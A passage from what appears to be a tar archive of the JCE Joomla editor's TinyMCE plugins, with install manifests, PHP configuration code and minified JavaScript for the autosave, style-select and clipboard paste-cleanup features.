forcedRootBlockName=ed.settings.forced_root_block;return html=tinymce.trim("undefined"==typeof html?ed.getBody().innerHTML:html),""===html||new RegExp("^<"+forcedRootBlockName+"[^>]*>(( |&nbsp;|[ \t]|<br[^>]*>)+?|)</"+forcedRootBlockName+">|<br>$","i").test(html)}var prefix,started,self=this,settings=ed.settings;self.onStoreDraft=new Dispatcher(self),self.onRestoreDraft=new Dispatcher(self),self.onRemoveDraft=new Dispatcher(self),prefix=settings.autosave_prefix||"tinymce-autosave-{path}{query}-{id}-",prefix=prefix.replace(/\{path\}/g,document.location.pathname),prefix=prefix.replace(/\{query\}/g,document.location.search),prefix=prefix.replace(/\{id\}/g,ed.id),settings.autosave_interval=parseTime(settings.autosave_interval,"30s"),settings.autosave_retention=parseTime(settings.autosave_retention,"20m"),ed.addButton("autosave",{title:"autosave.restore_content",onclick:restoreLastDraft}),ed.onNodeChange.add(function(){var controlManager=ed.controlManager;controlManager.get("autosave")&&controlManager.setDisabled("autosave",!hasDraft())}),ed.onInit.add(function(){ed.controlManager.get("autosave")&&startStoreDraft()}),ed.settings.autosave_restore_when_empty!==!1&&(ed.onInit.add(function(){hasDraft()&&isEmpty()&&restoreDraft()}),ed.onSaveContent.add(function(){removeDraft()})),self.storeDraft=storeDraft,window.onbeforeunload=tinymce._beforeUnloadHandler}}),tinymce.PluginManager.add("autosave",tinymce.plugins.AutosavePlugin))}(tinymce);editor/tiny_mce/plugins/autosave/index.html000060400000000054150750527140015147 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/autosave/autosave.xml000060400000001202150750527140015517 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="autosave" editable="0" core="1">
	<name>WF_AUTOSAVE_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Moxiecode / Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_AUTOSAVE_DESC</description>
	<icon>autosave</icon>
	<files></files>
	<params></params>
	<languages></languages>
	<help></help>
</install>
 editor/tiny_mce/plugins/styleselect/styleselect.xml000060400000003556150750527140016757 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="styleselect" core="1" editable="1">
    <name>WF_STYLESELECT_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_STYLESELECT_DESC</description>
    <icon>styleselect</icon>
    <params group="standard">
        <param name="styles" type="list" class="checklist" multiple="multiple" default="stylesheet,custom" label="WF_STYLESELECT_STYLES" description="WF_STYLESELECT_STYLES_DESC">
            <option value="stylesheet">WF_STYLESELECT_STYLESHEET</option>
            <option value="custom">WF_STYLESELECT_CUSTOM</option>
        </param>

        <param name="stylesheet" placeholder="eg: templates/$template/css/content.css" type="text" size="100" default="" label="WF_STYLESELECT_STYLESHEET_CUSTOM" description="WF_STYLESELECT_STYLESHEET_CUSTOM_DESC" parent="styles[stylesheet]" />

        <param name="sort" type="radio" default="1" label="WF_STYLESELECT_STYLES_SORT" description="WF_STYLESELECT_STYLES_SORT_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>

        <param name="custom_classes" type="text" default="" placeholder="eg: class1,class2,class3" label="WF_STYLESELECT_CUSTOM_CLASSES" description="WF_STYLESELECT_CUSTOM_CLASSES_DESC" parent="styles[custom]" />
        <param name="custom_styles" type="styleformat" default="" label="WF_STYLESELECT_CUSTOM" description="WF_STYLESELECT_CUSTOM_DESC" parent="styles[custom]" />
    </params>
    <help></help>
    <languages></languages>
</install>
editor/tiny_mce/plugins/styleselect/index.html000060400000000054150750527140015660 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/styleselect/editor_plugin.js000060400000005250150750527140017070 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var each=(tinymce.DOM,tinymce.dom.Event,tinymce.extend,tinymce.each);tinymce.util.Cookie,tinymce.explode;tinymce.create("tinymce.plugins.StyleSelectPlugin",{init:function(ed,url){this.editor=ed,ed.onNodeChange.add(function(ed,cm){var matches,c=cm.get("styleselect"),formatNames=[];c&&(formatNames=[],each(c.items,function(item){formatNames.push(item.value)}),matches=ed.formatter.matchAll(formatNames),c.select(matches[0]),tinymce.each(matches,function(match,index){index>0&&c.mark(match)}))})},createControl:function(n,cf){var ed=this.editor;switch(n){case"styleselect":if(ed.getParam("styleselect_stylesheets")!==!1||ed.getParam("style_formats")||ed.getParam("styleselect_custom_classes"))return this._createStyleSelect()}},_createStyleSelect:function(n){var ctrl,ed=this.editor,ctrlMan=ed.controlManager,PreviewCss=tinymce.util.PreviewCss;return ctrl=ctrlMan.createListBox("styleselect",{title:"advanced.style_select",filter:!0,max_height:300,onselect:function(name){var matches,removedFormat,formatNames=[];return each(ctrl.items,function(item){formatNames.push(item.value)}),ed.focus(),ed.undoManager.add(),matches=ed.formatter.matchAll(formatNames),tinymce.each(matches,function(match){name&&match!==name||(match&&ed.formatter.remove(match),removedFormat=!0)}),removedFormat||(ed.formatter.get(name)?ed.formatter.apply(name):ed.formatter.apply("classname",{value:name})),ed.undoManager.add(),ed.nodeChanged(),!1}}),ed.onPreInit.add(function(){var counter=0,formats=ed.getParam("style_formats"),styles=ed.getParam("styleselect_custom_classes","","hash");if(ed.formatter.register("classname",{attributes:{class:"%value"},selector:"*"}),formats){if("string"==typeof formats)try{formats=JSON.parse(formats)}catch(e){formats=[]}each(formats,function(fmt){var name,keys=0;each(fmt,function(){keys++}),keys>1?(name=fmt.name=fmt.name||"style_"+counter++,fmt.attributes&&each(fmt.attributes,function(value,key){fmt.attributes[key]=value+""}),fmt.styles&&each(fmt.styles,function(value,key){fmt.styles[key]=value+""}),ed.formatter.register(name,fmt),ctrl.add(fmt.title,name,{style:function(){return PreviewCss(ed,fmt)}})):ctrl.add(fmt.title)})}styles&&each(styles,function(val,key){var name,fmt;val&&(val=val.replace(/^\./,""),name="style_"+counter++,fmt={classes:val,selector:"*"},ed.formatter.register(name,fmt),key&&(key=key.replace(/^\./,"")),ctrl.add(ed.translate(key),name,{style:function(){return PreviewCss(ed,fmt)}}))})}),ctrl}}),tinymce.PluginManager.add("styleselect",tinymce.plugins.StyleSelectPlugin)}();editor/tiny_mce/plugins/styleselect/classes/config.php000060400000022405150750527140017302 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFStyleselectPluginConfig
{
    /**
     * Return the current site template name.
     */
    private static function getSiteTemplates()
    {
        $db = JFactory::getDBO();
        $app = JFactory::getApplication();
        $id = 0;

        if ($app->isSite()) {
            $menus = $app->getMenu();
            $menu = $menus->getActive();

            if ($menu) {
                $id = isset($menu->template_style_id) ? $menu->template_style_id : $menu->id;
            }
        }

        $query = $db->getQuery(true);

        if (is_object($query)) {
            $query->select('id, template')->from('#__template_styles')->where(array('client_id = 0', "home = '1'"));
        } else {
            $query = 'SELECT menuid as id, template'
                . ' FROM #__templates_menu'
                . ' WHERE client_id = 0';
        }

        $db->setQuery($query);
        $templates = $db->loadObjectList();

        $assigned = array();

        foreach ($templates as $template) {
            if ($id == $template->id) {
                array_unshift($assigned, $template->template);
            } else {
                $assigned[] = $template->template;
            }
        }

        // return templates
        return $assigned;
    }

    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

        $include = (array)$wf->getParam('styleselect.styles', array('stylesheet', 'custom'));

        if (in_array('custom', $include)) {
            // theme styles list (legacy)
            $theme_advanced_styles = $wf->getParam('editor.theme_advanced_styles', '');

            // list of custom styles
            $custom_classes = $wf->getParam('styleselect.custom_classes', '');

            if (!empty($custom_classes)) {
                $settings['styleselect_custom_classes'] = $custom_classes;
            }

            // add legacy to custom_style_classes
            if (!empty($theme_advanced_styles)) {
                $list1 = explode(',', $custom_classes);
                $list2 = explode(',', $theme_advanced_styles);

                $settings['styleselect_custom_classes'] = implode(',', array_merge($list1, $list2));
            }

            $custom_styles = json_decode($wf->getParam('styleselect.custom_styles', $wf->getParam('editor.custom_styles', '')));

            if (!empty($custom_styles)) {
                $styles = array();

                $blocks = array('section', 'nav', 'article', 'aside', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'header', 'footer', 'address', 'main', 'p', 'pre', 'blockquote', 'figure', 'figcaption', 'div');

                foreach ((array)$custom_styles as $style) {
                    // clean up title
                    if (isset($style->title)) {
                        $style->title = self::cleanString($style->title);
                    }

                    // clean up classes
                    if (isset($style->selector)) {
                        $selector = self::cleanString($style->selector);

                        // convert selector values to lowercase
                        $selector = strtolower($selector);

                        // clean up selector to allow element and class only
                        $selector = preg_replace('#[^a-z0-9,\.]+#', '', $selector);

                        $style->selector = trim($selector);
                    }

                    // clean up classes
                    if (isset($style->classes)) {
                        $style->classes = self::cleanString($style->classes);
                    }

                    if (isset($style->styles)) {
                        $style->styles = self::cleanJSON($style->styles);
                    }

                    if (isset($style->attributes)) {
                        $style->attributes = self::cleanJSON($style->attributes, ' ', '=');
                    }

                    // set block or inline element
                    if (isset($style->element)) {
                        if (in_array($style->element, $blocks)) {
                            $style->block = $style->element;
                        } else {
                            $style->inline = $style->element;
                        }

                        // remove element
                        $style->remove = 'all';
                    }

                    // edge case for forced_root_block=false
                    if ($settings['forced_root_block'] === false) {
                        if (!isset($style->element)) {
                            $style->inline = 'span';
                            $style->selector = '*';
                        }
                    } else {
                        // match all if not set
                        if (!isset($style->selector)) {
                            $style->selector = '*';

                            // set to element
                            if (isset($style->element)) {
                                $style->selector = $style->element;
                            }
                        }
                    }

                    // remove element
                    unset($style->element);

                    $styles[] = $style;
                }

                if (!empty($styles)) {
                    $settings['style_formats'] = json_encode($styles, JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);
                }
            }
        }

        // set this value false if stylesheet not included
        if (in_array('stylesheet', $include) === false) {
            $settings['styleselect_stylesheets'] = false;
        } else {
            $stylesheet = $wf->getParam('styleselect.stylesheet', '', '');
            $templates = self::getSiteTemplates();

            if (!empty($stylesheet)) {
                $stylesheet = trim($stylesheet);
                $stylesheet = str_replace('$template', $templates[0], $stylesheet);
                $settings['styleselect_stylesheets'] = $stylesheet;

                // add the stylesheet to the content_css setting
                $stylesheet = trim($stylesheet, "/");
                $etag = "";

                if (is_file(JPATH_SITE . '/' . $stylesheet)) {
                    // create hash
                    $etag = '?' . filemtime(JPATH_SITE . '/' . $stylesheet);

                    // explode to array
                    $content_css = explode(",", $settings['content_css']);
                    $content_css[] = JURI::root(true) . '/' . $stylesheet . $etag;

                    // remove duplicates
                    $content_css = array_unique($content_css);
                    
                    // implode to string
                    $settings['content_css'] = implode(",", $content_css);
                }
            }
        }

        $settings['styleselect_sort'] = $wf->getParam('styleselect.sort', 1, 1);
    }

    protected static function cleanString($string)
    {
        $string = trim($string, '"');
        $string = trim($string, "'");
        $string = htmlentities($string, ENT_NOQUOTES, 'UTF-8');

        return trim($string);
    }

    protected static function cleanJSON($string, $delim1 = ';', $delim2 = ':')
    {
        $ret = array();

        foreach (explode($delim1, $string) as $item) {
            $item = trim($item);

            // split style at colon
            $parts = explode($delim2, $item);

            if (count($parts) < 2) {
                continue;
            }

            $key = $parts[0];
            $value = $parts[1];

            $key = self::cleanString($key);
            $value = self::cleanString($value);

            $ret[$key] = $value;
        }

        return $ret;
    }

    /**
     * Get a list of editor font families.
     *
     * @return string font family list
     *
     * @param string $add    Font family to add
     * @param string $remove Font family to remove
     */
    protected static function getFonts()
    {
        $wf = WFEditor::getInstance();

        $add = $wf->getParam('editor.theme_advanced_fonts_add');
        $remove = $wf->getParam('editor.theme_advanced_fonts_remove');

        // Default font list
        $fonts = self::$fonts;

        if (empty($remove) && empty($add)) {
            return '';
        }

        $remove = preg_split('/[;,]+/', $remove);

        if (count($remove)) {
            foreach ($fonts as $key => $value) {
                foreach ($remove as $gone) {
                    if ($gone && preg_match('/^' . $gone . '=/i', $value)) {
                        // Remove family
                        unset($fonts[$key]);
                    }
                }
            }
        }
        foreach (explode(';', $add) as $new) {
            // Add new font family
            if (preg_match('/([^\=]+)(\=)([^\=]+)/', trim($new)) && !in_array($new, $fonts)) {
                $fonts[] = $new;
            }
        }

        natcasesort($fonts);

        return implode(';', $fonts);
    }
}
editor/tiny_mce/plugins/styleselect/classes/index.html000060400000000054150750527140017315 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/clipboard/blank.htm000060400000000754150750527140015072 0ustar00<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>blank_page</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<link href="css/blank.css" rel="stylesheet" type="text/css" />
<script type="text/javascript">
function init() {
	if (parent.tinymce.isIE)
		document.body.contentEditable = true;
	else
		document.designMode = 'on';

	parent.initIframe(document);
	window.focus();
}
</script>
</head>
<body onload="init();">

</body>
</html>
editor/tiny_mce/plugins/clipboard/clipboard.php000060400000001123150750527140015730 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

require_once dirname(__FILE__).'/classes/clipboard.php';

$plugin = new WFClipboardPlugin();
$plugin->execute();
editor/tiny_mce/plugins/clipboard/index.html000060400000000054150750527140015257 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/clipboard/clipboard.xml000060400000014020150750527140015741 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="clipboard" core="1" editable="1">
    <name>WF_CLIPBOARD_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_CLIPBOARD_DESC</description>
    <icon>cut,copy,paste,pastetext</icon>
    <params group="standard">
        <param name="paste_use_dialog" type="radio" default="0" label="WF_PASTE_PARAM_DIALOG" description="WF_PASTE_PARAM_DIALOG_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="paste_dialog_width" type="text" size="5" default="450" label="WF_PASTE_PARAM_WIDTH" description="WF_PASTE_PARAM_WIDTH_DESC" />
        <param name="paste_dialog_height" type="text" size="5" default="400" label="WF_PASTE_PARAM_HEIGHT" description="WF_PASTE_PARAM_HEIGHT_DESC" />
        <param name="paste_force_cleanup" type="list" default="0" label="WF_PASTE_FORCE_CLEANUP" description="WF_PASTE_FORCE_CLEANUP_DESC">
            <option value="0">WF_PASTE_FORCE_CLEANUP_DETECT</option>
            <option value="1">WF_PASTE_FORCE_CLEANUP_ALWAYS</option>
        </param>
        <param name="paste_strip_class_attributes" type="list" default="2" label="WF_PASTE_PARAM_CLASSES" description="WF_PASTE_PARAM_CLASSES_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
            <option value="2">WF_OPTION_PASTE_CLASSES_WORD_ONLY</option>
        </param>
        <param name="paste_remove_spans" type="radio" default="0" label="WF_PASTE_PARAM_SPANS" description="WF_PASTE_PARAM_SPANS_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="paste_remove_styles" type="radio" default="1" label="WF_PASTE_PARAM_STYLES" description="WF_PASTE_PARAM_STYLES_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>

        <param name="paste_retain_style_properties" placeholder="eg: font-weight,text-decoration" class="input-xlarge" size="50" type="text" default="" label="WF_PASTE_PARAM_RETAIN_STYLES" description="WF_PASTE_PARAM_RETAIN_STYLES_DESC" />
        <param name="paste_remove_style_properties" placeholder="eg: font-size,font-family,color" class="input-xlarge" size="50" type="text" default="" label="WF_PASTE_PARAM_REMOVE_STYLES" description="WF_PASTE_PARAM_REMOVE_STYLES_DESC" />

        <param name="paste_remove_tags" type="text" size="50" class="input-xlarge" placeholder="eg: img,object,iframe" default="" label="WF_PASTE_PARAM_REMOVE_TAGS" description="WF_PASTE_PARAM_REMOVE_TAGS_DESC" />
        <param name="paste_keep_tags" type="text" size="50" class="input-xlarge" placeholder="eg: img,p,em,strong" default="" label="WF_PASTE_PARAM_KEEP_TAGS" description="WF_PASTE_PARAM_KEEP_TAGS_DESC" />
        <param name="paste_remove_attributes" type="text" size="50" class="input-xlarge" placeholder="eg: lang,align" default="" label="WF_PASTE_PARAM_ATTRIBUTES" description="WF_PASTE_PARAM_ATTRIBUTES_DESC" />
        <param name="paste_remove_empty_paragraphs" type="radio" default="1" label="WF_PASTE_PARAM_REMOVE_PARAGRAPHS" description="WF_PASTE_PARAM_REMOVE_PARAGRAPHS_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>           
        </param>
        <param name="paste_remove_styles_if_webkit" type="radio" default="0" label="WF_PASTE_PARAM_REMOVE_STYLES_WEBKIT" description="WF_PASTE_PARAM_REMOVE_STYLES_WEBKIT_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>           
        </param>
        <param name="paste_process_footnotes" type="list" default="convert" label="WF_PASTE_PARAM_PROCESS_FOOTNOTES" description="WF_PASTE_PARAM_PROCESS_FOOTNOTES_DESC">
            <option value="convert">WF_PASTE_PARAM_PROCESS_FOOTNOTES_CONVERT</option>
            <option value="unlink">WF_PASTE_PARAM_PROCESS_FOOTNOTES_UNLINK</option>
            <option value="remove">WF_PASTE_PARAM_PROCESS_FOOTNOTES_REMOVE</option>           
        </param>
        <param name="paste_upload_images" type="radio" default="0" label="WF_PASTE_PARAM_UPLOAD_IMAGES" description="WF_PASTE_PARAM_UPLOAD_IMAGES_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>           
        </param>
        <param name="paste_filter" type="text" size="50" class="input-xlarge" default="" label="WF_PASTE_PARAM_FILTER" description="WF_PASTE_PARAM_FILTER_DESC" />
    </params>
    <params group="access">
        <param name="paste_html" type="radio" default="1" label="WF_PASTE_PARAM_PASTE_HTML" description="WF_PASTE_PARAM_PASTE_HTML_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="paste_text" type="radio" default="1" label="WF_PASTE_PARAM_PASTE_TEXT" description="WF_PASTE_PARAM_PASTE_TEXT_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
    </params>
    <params group="buttons">
        <param name="buttons" class="checklist buttonlist" type="list" multiple="multiple" default="cut,copy,paste,pastetext" label="WF_PARAM_BUTTONS" description="WF_PARAM_BUTTONS_DESC">
            <option value="cut">WF_OPTION_CUT</option>
            <option value="copy">WF_OPTION_COPY</option>
            <option value="paste">WF_OPTION_PASTE</option>
            <option value="pastetext">WF_OPTION_PASTE_TEXT</option>
        </param>
    </params>
    <help>
        <topic key="clipboard.about" title="WF_CLIPBOARD_HELP_ABOUT" />
    </help>
    <languages></languages>
</install>editor/tiny_mce/plugins/clipboard/editor_plugin.js000060400000110205150750527140016464 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){function filter(content,items){return each(items,function(v){content=v.constructor==RegExp?content.replace(v,""):content.replace(v[0],v[1])}),content}function cleanCssContent(content){var classes=[],rules=parseCssToRules(content);return each(rules,function(r){r.selectorText&&each(r.selectorText.split(","),function(v){if(v=v.replace(/^\s*|\s*$|^\s\./g,""),!/\.mso/i.test(v)&&/\.[\w\-]+$/.test(v)){var text=r.cssText||"";text&&tinymce.inArray(classes,text)===-1&&classes.push(text)}})}),classes.join("")}function isWordContent(editor,content){return!!editor.settings.clipboard_paste_force_cleanup||(!!(/(content=\"OpenOffice.org[^\"]+\")/i.test(content)||ooRe.test(content)||/@page {/.test(content))||(/<font face="Times New Roman"|class="?Mso|style="[^"]*\bmso-|style='[^'']*\bmso-|w:WordDocument/i.test(content)||/class="OutlineElement/.test(content)||/id="?docs\-internal\-guid\-/.test(content)))}function trimHtml(html){function trimSpaces(all,s1,s2){return s1||s2?" ":" "}function getInnerFragment(html){var startFragment="<!--StartFragment-->",endFragment="<!--EndFragment-->",startPos=html.indexOf(startFragment);if(startPos!==-1){var fragmentHtml=html.substr(startPos+startFragment.length),endPos=fragmentHtml.indexOf(endFragment);if(endPos!==-1&&/^<\/(p|h[1-6]|li)>/i.test(fragmentHtml.substr(endPos+endFragment.length,5)))return fragmentHtml.substr(0,endPos)}return html}return html=filter(getInnerFragment(html),[/^[\s\S]*<body[^>]*>\s*|\s*<\/body[^>]*>[\s\S]*$/g,/<!--StartFragment-->|<!--EndFragment-->/g,[/( ?)<span class="Apple-converted-space">(\u00a0|&nbsp;)<\/span>( ?)/g,trimSpaces],/<br class="Apple-interchange-newline">/g,/^<meta[^>]+>/g,/<br>$/i])}function innerText(html){function walk(node){var name=node.name,currentNode=node;if("br"===name)return void(text+="\n");if(shortEndedElements[name]&&(text+=" "),ignoreElements[name])return void(text+=" ");if(3==node.type&&(text+=node.value),!node.shortEnded&&(node=node.firstChild))do walk(node);while(node=node.next);blockElements[name]&&currentNode.next&&(text+="\n","p"==name&&(text+="\n"))}var schema=new Schema,domParser=new DomParser({},schema),text="",shortEndedElements=schema.getShortEndedElements(),ignoreElements=tinymce.makeMap("script noscript style textarea video audio iframe object"," "),blockElements=schema.getBlockElements();return html=filter(html,[/<!\[[^\]]+\]>/g]),walk(domParser.parse(html)),text}function removeExplorerBrElementsAfterBlocks(self,o){if(o.wordContent){var editor=self.editor,html=o.content,blockElements=[];each(editor.schema.getBlockElements(),function(block,blockName){blockElements.push(blockName)});var explorerBlocksRegExp=new RegExp("(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*(<\\/?("+blockElements.join("|")+")[^>]*>)(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*","g");html=filter(html,[[explorerBlocksRegExp,"$1"]]),html=filter(html,[[/<br><br>/g,"<BR><BR>"],[/<br>/g," "],[/<BR><BR>/g,"<br>"]]),o.content=html}}function removeWebKitStyles(self,o){var editor=self.editor,content=o.content;if(!o.internal&&!isWordContent(editor,o.content)){var webKitStyles=editor.settings.paste_webkit_styles;if(editor.settings.clipboard_paste_remove_styles_if_webkit===!0&&"all"!=webKitStyles){if(webKitStyles&&(webKitStyles=webKitStyles.split(/[, ]/)),webKitStyles){var dom=editor.dom,node=editor.selection.getNode();content=content.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi,function(all,before,value,after){var inputStyles=dom.parseStyle(value,"span"),outputStyles={};if("none"===webKitStyles)return before+after;for(var i=0;i<webKitStyles.length;i++){var inputValue=inputStyles[webKitStyles[i]],currentValue=dom.getStyle(node,webKitStyles[i],!0);/color/.test(webKitStyles[i])&&(inputValue=dom.toHex(inputValue),currentValue=dom.toHex(currentValue)),currentValue!=inputValue&&(outputStyles[webKitStyles[i]]=inputValue)}return outputStyles=dom.serializeStyle(outputStyles,"span"),outputStyles?before+' style="'+outputStyles+'"'+after:before+after})}else content=content.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi,"$1$3");content=content.replace(/(<[^>]+) data-mce-style="([^"]+)"([^>]*>)/gi,function(all,before,value,after){return before+' style="'+value+'"'+after}),o.content=content}}}function preProcess(self,o){var ed=self.editor,h=o.content;if(h=h.replace(/^\s*(&nbsp;)+/g,""),h=h.replace(/(&nbsp;|<br[^>]*>)+\s*$/g,""),!self.pasteAsPlainText){if(o.wordContent=isWordContent(ed,h)&&!o.internal,o.wordContent&&(h=WordFilter(ed,h)),ed.getParam("clipboard_paste_remove_attributes")){var attribs=ed.getParam("clipboard_paste_remove_attributes").split(",");h=h.replace(new RegExp(" ("+attribs.join("|")+')="([^"]+)"',"gi"),"")}ed.getParam("clipboard_paste_remove_spans")&&(h=h.replace(/<\/?(span)[^>]*>/gi,"")),ed.settings.verify_html===!1&&(h=h.replace(/<b\b([^>]*)>/gi,"<strong$1>"),h=h.replace(/<\/b>/gi,"</strong>")),o.content=h}}function postProcess(self,o){var ed=self.editor,dom=ed.dom;if(!self.pasteAsPlainText){each(dom.select("span.Apple-style-span",o.node),function(n){dom.remove(n,1)}),1==ed.getParam("clipboard_paste_strip_class_attributes",2)&&each(dom.select("*[class]",o.node),function(el){el.removeAttribute("class")}),each(dom.select("table, td, th",o.node),function(n){(value=dom.getAttrib(n,"width"))&&(dom.setStyle(n,"width",value),dom.setAttrib(n,"width","")),(value=dom.getAttrib(n,"height"))&&(dom.setStyle(n,"height",value),dom.setAttrib(n,"height",""))}),ed.getParam("clipboard_paste_remove_styles",1)?each(dom.select("*[style]",o.node),function(el){el.removeAttribute("style"),el.removeAttribute("data-mce-style")}):processStyles(ed,o),o.wordContent&&each(dom.select("table[style], td[style], th[style]",o.node),function(n){var styles={};each(borderStyles,function(name){if(/-(top|right|bottom|left)-/.test(name)){var value=dom.getStyle(n,name);"currentcolor"===value&&(value=""),value&&/^\d[a-z]?/.test(value)&&(value=convertToPixels(value)),styles[name]=value}}),each(styles,function(v,k){if(k.indexOf("-width")!==-1&&""===v){var s=k.replace(/-width/,"");delete styles[s+"-style"],delete styles[s+"-color"],delete styles[k]}}),each(backgroundStyles,function(def,name){var value=dom.getStyle(n,name);value===def&&(value=""),styles[name]=value}),dom.setStyle(n,"border",""),dom.setStyle(n,"background",""),dom.setStyles(n,styles)}),o.wordContent&&each(dom.select("[data-mce-indent]",o.node),function(el){if("P"===el.nodeName){var value=dom.getAttrib(el,"data-mce-indent"),style=ed.settings.indent_use_margin?"margin-left":"padding-left";dom.setStyle(el,style,value+"px")}dom.setAttrib(el,"data-mce-indent","")});var imgRe=/(file:|data:image)\//i,uploader=ed.plugins.upload,canUpload=uploader&&uploader.plugins.length;if(each(dom.select("img",o.node),function(el){var s=dom.getAttrib(el,"src");!s||imgRe.test(s)?ed.getParam("clipboard_paste_upload_images")&&canUpload?ed.dom.setAttrib(el,"data-mce-upload-marker","1"):dom.remove(el):dom.setAttrib(el,"src",ed.convertURL(s))}),isIE&&each(dom.select("a",o.node),function(el){each(dom.select("font,u"),function(n){dom.remove(n,1)})}),ed.getParam("clipboard_paste_remove_tags")&&dom.remove(dom.select(ed.getParam("clipboard_paste_remove_tags"),o.node),1),ed.getParam("clipboard_paste_keep_tags")){var tags=ed.getParam("clipboard_paste_keep_tags");dom.remove(dom.select("*:not("+tags+")",o.node),1)}ed.getParam("clipboard_paste_remove_spans")?dom.remove(dom.select("span",o.node),1):(ed.dom.remove(dom.select("span:empty",o.node)),each(dom.select("span",o.node),function(n){n.childNodes&&0!==n.childNodes.length||dom.remove(n),0===dom.getAttribs(n).length&&dom.remove(n,1)})),ed.getParam("clipboard_paste_remove_empty_paragraphs",!0)&&(dom.remove(dom.select("p:empty",o.node)),each(dom.select("p",o.node),function(n){var h=n.innerHTML;n.childNodes&&0!==n.childNodes.length&&!/^(\s|&nbsp;|\u00a0)?$/.test(h)||dom.remove(n)}))}}function processStyles(editor,o){var dom=editor.dom,keepStyles=editor.getParam("clipboard_paste_retain_style_properties"),removeStyles=editor.getParam("clipboard_paste_remove_style_properties");keepStyles&&tinymce.is(keepStyles,"string")&&(styleProps=tinymce.explode(keepStyles),each(styleProps,function(style,i){if("border"===style)return styleProps=styleProps.concat(borderStyles),!0})),removeStyles&&tinymce.is(removeStyles,"string")&&(removeProps=tinymce.explode(removeStyles),each(removeProps,function(style,i){if("border"===style)return removeProps=removeProps.concat(borderStyles),!0}),styleProps=tinymce.grep(styleProps,function(prop){return tinymce.inArray(removeProps,prop)===-1})),each(dom.select("*[style]",o.node),function(n){var ns={},x=0,styles=dom.parseStyle(n.style.cssText);each(styles,function(v,k){tinymce.inArray(styleProps,k)!=-1&&(ns[k]=v,x++)}),dom.setAttrib(n,"style",""),ns=dom.parseStyle(dom.serializeStyle(ns,n.nodeName)),x>0?dom.setStyles(n,ns):"SPAN"!=n.nodeName||n.className||dom.remove(n,!0),tinymce.isWebKit&&n.removeAttribute("data-mce-style")}),each(dom.select("*[align]",o.node),function(el){var 